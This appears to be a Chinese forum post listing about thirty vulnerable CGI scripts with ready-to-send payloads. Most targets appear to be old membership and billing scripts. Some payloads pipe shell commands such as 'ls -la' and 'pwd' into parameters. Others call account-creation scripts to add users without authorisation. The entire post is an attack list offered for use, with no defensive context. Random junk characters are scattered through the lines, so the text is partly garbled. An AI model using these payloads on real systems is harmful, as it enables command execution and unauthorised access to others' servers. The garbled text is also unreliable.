Cgi-bin 30个漏洞＋使用方法

admin

==============================
, s* w& A$ q: L4 F( j, O
; [* H( }( A4 t, n9 c/smspass.pl
username=username&password=password

/index.cgi
2 d; W3 i( K3 [* U+ h0 L2 Vwei=ren&gen=command
# @  \8 F3 @/ p5 r- Q$ ~
; u2 C  g3 q+ [; s/passmaster.cgi
" y  u/ }2 U0 K4 ~Action=Add&Username=Username&Password=Password

/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|

/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
2 ]" V  k0 J2 @2 |) K- E6 _
0 d; c- |% U1 f. J% w6 X9 B/addusr.pl
/ l- @: |+ U& \% W% D: H! T/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password

/ccbill-local.asp
- n, f4 A7 \& L, L: ipost_values=username:password

! L) \% G  ^0 P8 ~0 m9 l1 V/count.cgi
! A2 Z1 {8 n) Wpinfile=|echo;ls -la;exit|
5 ~. ?+ Q4 R& f' {
& ]4 i2 i* C' v, S/recon.cgi
/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|

/verotelrum.pl
' m$ y, ~0 Z! K8 |- yvercode=username:password:dseegsow:add:amount<&30>
, J3 b* `5 {: p( x3 {$ Y
/af.cgi
_browser_out=|echo;ls -la;exit;|
2 ?& k$ c" u7 ~' d8 i
' k& f2 z3 d$ t$ J5 |/ a3 \+ T/modify.cgi
username=username&password=password&expire=30
0 i$ ^# s2 }: ?7 v
/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|

/gx9passwd.cgi
cmd=ADD&user=username&pass=password

% c6 c6 |4 p+ C/probecontrol.cgi
command=enable&username=username&password=password

+ w9 T: f3 [, S+ }/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit

8 L4 I2 m6 H' O* M/htadd.pl
configfile=|echo; ls -alt; exit

/gx9passwd.cgi
$ q; U5 Y, F% X$ t: F$ B, ~2 ]& ?cmd=ADD&user=username&pass=password

0 k  \8 m" ~% b* t- L+ [( z8 p3 \8 V/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password

! d. }4 |+ \4 h) N# o/ ]1 b/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)

4 _6 w8 e' E. D* v! y  l: J) x% h/globill_ut.cgi
5 T0 V1 b8 h5 q1 a2 ~, Z3 W3 O, pdo=add&username=username&password=password&wpassword=password
, ]) t4 w7 v$ E+ R% I
4 N3 ]& k$ {2 _% B% Q7 D6 x/usercontrol.cgi
command=enable&username=USER&password=PASS
: ?+ x' A; a1 [1 _, ?" V  H- ?4 U
/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password

/addusr.pl
user=USER&pass=PASS&confirm=PASS
1 F/ J/ Q/ Q, e/ U3 W  O- I8 o4 Q
0 G7 c: w( i7 Y% [/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
2 Z: t$ g/ ]# E( L. m1 f" Opinfile=|echo;pwd;exit|
! N3 C2 t1 c! A4 c/ U1 l+ r
/accountcreate.cgi
: V" X: b5 ?& u* g/ W/cgi-bin/gateway/accountcreate.cgi
5 O# O* v* p' K2 P7 Y" ?username=username&password=password&password2=password&ref1=|echo;ls -al;exit
  o2 N% v4 `5 f6 S! Y$ k& B
/af.cgi
/env.cgi
4 ~. _; V) M7 l7 EADD+;echo;pwd;exit

/count.cgi
; E& \. a- s! b. b4 B- Kpinfile=|echo;pwd;exit|
$ t, s( w& Z3 z2 ~
1 S; J% {% a* [$ r- h6 _4 l3 U/recon.cgi
' b- W; L7 Y8 Q- {) X9 d6 esearchoption=1&searchfor=|echo;ls%20-al;exit|
: r" C7 z: e6 C
/add.cgi
username=username&password=password&expire=30

# M& E  Q* e3 a1 U/ k* ^==============================